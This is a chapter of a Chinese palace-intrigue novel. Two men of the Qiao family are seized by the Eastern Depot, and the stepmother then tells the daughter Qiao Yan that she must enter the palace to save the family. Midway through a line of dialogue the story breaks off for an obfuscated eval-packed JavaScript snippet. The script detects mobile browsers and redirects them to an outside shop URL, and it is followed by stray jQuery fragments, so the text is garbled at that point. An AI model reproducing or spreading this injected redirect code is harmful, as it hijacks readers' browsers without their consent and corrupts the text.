冯家被抄，却不见脏银，百姓恨东厂入骨，私下都猜测冯家头顶的是莫须有的罪名。


    物议不止，传到皇帝耳中，龙颜大怒，给东厂下了半个月的死令。


    这天乔湛仍如往常一样在翰林院校对文书，冥冥中只觉心神不宁，索性搁笔，正要去外面透口气，门在这时被人猛地推开。


    “谁是乔湛？”


    门外，一队锦衣卫来势汹汹。在他们身后跟着破口大骂的翰林们，却碍于明晃晃的兵器不敢近身。


    乔湛缓缓起身，眉头微蹙，虽然被刀剑指着，气势却并不落下风。


    “此地乃文翰之林，自高祖时起便有规定，不可携兵器入内，你们这是连高祖定下的规矩都不愿守了吗！”


    锦衣卫充耳不闻，领头之人一抬手：“是就好，拿走。”


    乔湛被他的猖獗激怒，大喝道：“乃敢！我好歹也是朝廷命官，敢问诸位可有缉拿令！？”


    锦衣卫头领好似听到了什么笑话，先示意属下勿动，继而伸手入怀，摸了半天，摸出一张皱巴巴的纸团。他朝手指上啐了口唾沫，将纸团捻开，往前一送，谑笑道：“乔大人好胆色，希望等会到了诏狱也还能这样从容不迫。”


    乔湛将那张纸看过，缉拿缘由果然写着疑与冯家贪墨一案有关。


    他移开目光，只道：“我自己走。”


    乔湛被缉的消息很快便由翰林院传到各衙门。乔二老爷乔允在鸿胪寺中乍一听闻，连手上的笔都抓不稳了，急忙告假赶回家，命人去文渊阁找乔大老爷乔广川。乔广川三年前顺利进入内阁，亦是乔家如今的顶梁柱。


    长随领命而去，乔父在书房陷入了焦急的等待，身下如坐针毡，站起来在门边来回踱步。


    没多久，守门的阍人就看见乔父身边的长随去而复返。


    马尚未停步，长随就翻了下来，连摔带爬地扑向大门。阍人手上去扶他，心里直犯嘀咕：也不知出了什么急事，怎么脸白成这样。


    长随手脚俱软，一时站不起来，干脆拽着阍人的手，喊道：“快，快告诉二老爷，大老爷也被抓走了！”


    这个消息劈得乔父手足发软，跌坐太师椅，只觉一片灰暗。


    就在这时，乔夫人出现在门外，因为走得太急，胸脯剧烈地起伏。看到乔父的脸色，她来不及缓口气，便扶着门框急道：“老爷！好消息。”


    乔父颓丧地抹了把脸：“这个时候了，还能有什么好消息。”


    “宫里那位唐爷送来了回信，答应了老爷的求见。”


    乔父一怔，随即眼里迸出光亮，差点没从椅子上跳起来：“信呢？！”


    乔夫人从袖中取出，不及说话，被乔父一把抢过。


    展开信，乔父匆匆看过，捏着信笺的手指止不住地颤抖，突然痛哭出声：“天不亡我乔家！”


    这位“唐爷”全名唐直抒，是宫里都知监的掌印太监，曾为皇帝挡箭，简在圣心，就连董玉莲也要给他些脸面。与董玉莲不同，唐直抒行事低调周正，在官员里的口碑并不算差。


    冯家一出事，乔广川担心被东厂株连，便未雨绸缪地搭上了这位爷的路子，不曾想一语成谶，这位唐公公如今竟成了唯一的希望。


    也亏得在这样的时候，唐公公还愿意伸出手拉乔家一把。只是该如何握住这只手，还得周详。


    直接求情是行不通的，唐直抒能混到如今的位置，必然是人精中的人精，岂会愿意下这滩浑水……


    乔父拿着信，一边想着，一边命人传话府上的门客至书房议事。


    是夜漏断人静，弦月挂在枝头，繁星闪烁，交相增辉。


    院子里的假山下有一淙引来的曲水，泠泠地流淌，蛙鸣不断，蚊虫低飞。一只晚归的夏燕自低处掠过，优雅地滑入檐下巢穴里。


    自从白日乔家两位郎君来过后，乔燕便沉黯了下去，在窗前坐了一下午，饭菜怎么端来的，便怎么端了回去。


    宜婵犹豫再三，还是来到她身后，一边为她拆妆，一边努力找着话头。


    “燕子飞得低，好像要下雨了。”


    乔燕没作声，宜婵又道：“姑娘头发像缎子一样，大夫人院子里的阿喜姐姐还来问过奴婢可有什么保养的秘方，想是给大夫人讨的。只是您这是天生，奴婢哪里说得出什么秘方。”


    “我想自己待一会儿，”乔燕握住发里的木梳，语气很轻，“姨娘倒在山贼刀下的时候我就知道了，世事无常，我能想透。但，但道理和感情，总是分开的。”


    宜婵无声地叹了口气。


    就在这时，一点灯火突然遥遥现在院外，在黑黢黢的夜里格外显眼。


    宜婵将横窗推得更开些，仔细看着，迟疑道：“好像是夫人。”


    这么晚了……


    乔燕心中疑惑，看了眼自己身上的中衣，草草披了一件长衫，勉强打起精神，起身到门口相迎。


    乔夫人已经走到院边，抬头望到她，屏退身边的婢女，独自拎着灯踏入院门。


    “母亲怎么这个时候来？”


    乔夫人不答，看向宜婵她们：“我和五娘说些话。”


    宜婵察觉到氛围有些不对，担忧地看了乔燕一眼，领着另两个小丫鬟退了出去。


    乔燕将乔夫人引入内间，亲自奉上热茶。


    “母亲要和女儿说什么？”


    乔夫人没有立即言语，在喝茶的间隙里无言地打量着她。


    本以为她要闹上一闹，没曾想等了一下午，也没听到什么动静，甚至眼眶都是干的，好像连眼泪都没怎么流。


    乔夫人一时生出些许奇异的感受，这么多年，她第一次这么认真地看过这个捡来的便宜女儿，在不声不响中出落成这样。从前她有这样沉得住气吗？没印象了。


    不过这样更好。思及对乔燕的安排，乔夫人竟忍不住想，她这样，送她入宫也许并非全然是坏事。


    要说的话来的路上早已备好，乔夫人问道：“还记得你的小姑吗？”


    “记得，先贵妃娘娘仙逝前，女儿曾和祖母入宫见过她。”


    乔夫人拉过她的手，细细打量一番，方感慨地道：“你和小姑长得是真像啊。”


    乔燕的小姑，曾是文景帝最为宠爱的贵妃，文景帝甚至想过废后立之，被一众言官以死相逼才罢休。小姑自此冠上媚主的骂名，连带着乔家在朝中也遭受了很久的冷眼，直到小姑染疾去世，才重新渐渐立稳脚跟。


    乔燕这时还不解乔夫人的来意，按捺住心中疑惑，说道：“女儿如何能跟先贵妃娘娘比。”


    乔夫人又喝了一口茶，回味片刻，一叹：“这是金瓜贡茶，三品以上官员人家方分得五两，我待你虽不亲厚，却也没有刻薄分毫，贡茶一到家，便按照你三位兄长的份例，给你也送了一份来。这茶金贵，寻常人家终其一生，连闻一口茶香都是奢望……但这富贵，怕是要到头了。”


    乔燕微惊：“母亲这是何意？”


    “你可知，今日你二哥和大伯皆被东厂羁走，东厂诏狱，进去的人从没有能囫囵出来的。你


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16996278|193889||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    大伯年纪不大就已入阁，至于二郎，庶吉士出身，日后必能入阁拜相。这个家若没有他们二人撑着，还能靠谁？你父亲才干平平，至今不过官居鸿胪寺少卿，这回自身难保。滔天富贵，说覆灭也不过朝夕之事。”


    电光火石间，乔燕将乔夫人前后的话都串了起来。


    她一手撑着桌角，稳稳地站住了。


    “母亲……”乔燕声音微微沙哑，“母亲连夜来此告知女儿这些，若有需要女儿做的，不妨直说。”


    “你大伯被抓之前，和宫内的一位大太监取得了联系，今日将你的画像呈给圣上，圣上愿见你。”


    乔夫人还抓着她的手，说这句话时像是有些紧张，手握得十分紧，甚至让乔燕感到有些疼痛。


    “五娘，这是如今乔家唯一的机会，皮之不存，毛将焉附，你若入宫，可换乔家太平，此后乔家也是你的依靠。”


    乔燕挣开她的手，迟迟不答。


    许久，乔夫人脸上的期待和焦灼隐去，说道：“你若不去，那便一齐赴冯家后尘罢。”


    乔燕垂着头，盯着鞋尖上的一颗珍珠，眼眶干涩，沉默着没有说话。


    这颗珍珠有婴儿拳头大，够得上寻常人家三年口粮，于她不过是鞋尖点缀。


    “……女儿省得。”


    她比想象中的更平静，却又跟想象中一样逆来顺受。


    乔夫人突然也没什么话可说，乔燕是外室所出，两人本就没有什么母女情。相对无言片刻，乔夫人迟疑地道：“既如此，你准备准备，三日后宫里来人接你。有什么要求尽管和我说……我先走了。”


    乔燕却在这时突兀出声，声音比往常要更尖锐：“您才说过会为我择一户好人家。”


    她终究年岁小，再怎么忍耐，还是有不忿之情宣之于口。


    乔夫人既觉得可怜，又心生内疚，无力地道：“你我虽非亲生母女，但这些年来，我待你如何，你自知晓。我从不磋磨你，你要习字，又不便去学堂，我为你延请名师，就连说的亲事，当年也是顶好的，引多少姑娘歆羡。如果可以选，我们也不想送你入宫，将脊梁骨让给别人戳，但事到如今，是真的别无他法。”


    乔夫人走了。


    乔燕呆呆站了许久，等到宜婵不知何时进来，顺着她的力道在椅子上慢慢坐下，神情仍旧木然。


    短短两日，她的人生天翻地覆。


    记忆里，乔贵妃病逝前，她曾跟着乔家女眷入宫探亲。


    彼时的乔贵妃已病笃经日，那天穿了一身正红的宫装，这个颜色一般宫嫔是不敢上身的，怕被责逾矩，但是贵妃娘娘独得圣眷，便是她把凤凰绣在衣服上，引得大臣争相弹劾，圣上也不会怪罪。


    她着重色，却没有上妆，可就算如此，浓重的红也压不过素面朝天的五官。她是开在黄昏最浓的那片霞光下的牡丹，偏沾了一身书香清雅，压下颜色里的妩媚轻浮，只剩遥不可及的稠丽庄重。


    便是这张莲上观音的皮相，让文景帝痴迷。


    可是她们都知道，那时的乔贵妃没剩几日可活了。


    闲话片刻，乔老夫人慈母心切，亲自去盯着宫女煎药。留下乔燕和乔贵妃独处一室。乔燕与这位小姑并不亲近，有些坐立难安。


    贵妃盯着她看会儿，忽然抬手抚了她脸庞，感慨似的道：“这家中，竟是你与我有几分相像。只是这未必是美事，盼你日后莫做王谢燕，金丝作笼身作囚。”


    日后莫做王谢燕，金丝作笼身作囚。现在再看，像谶言一样。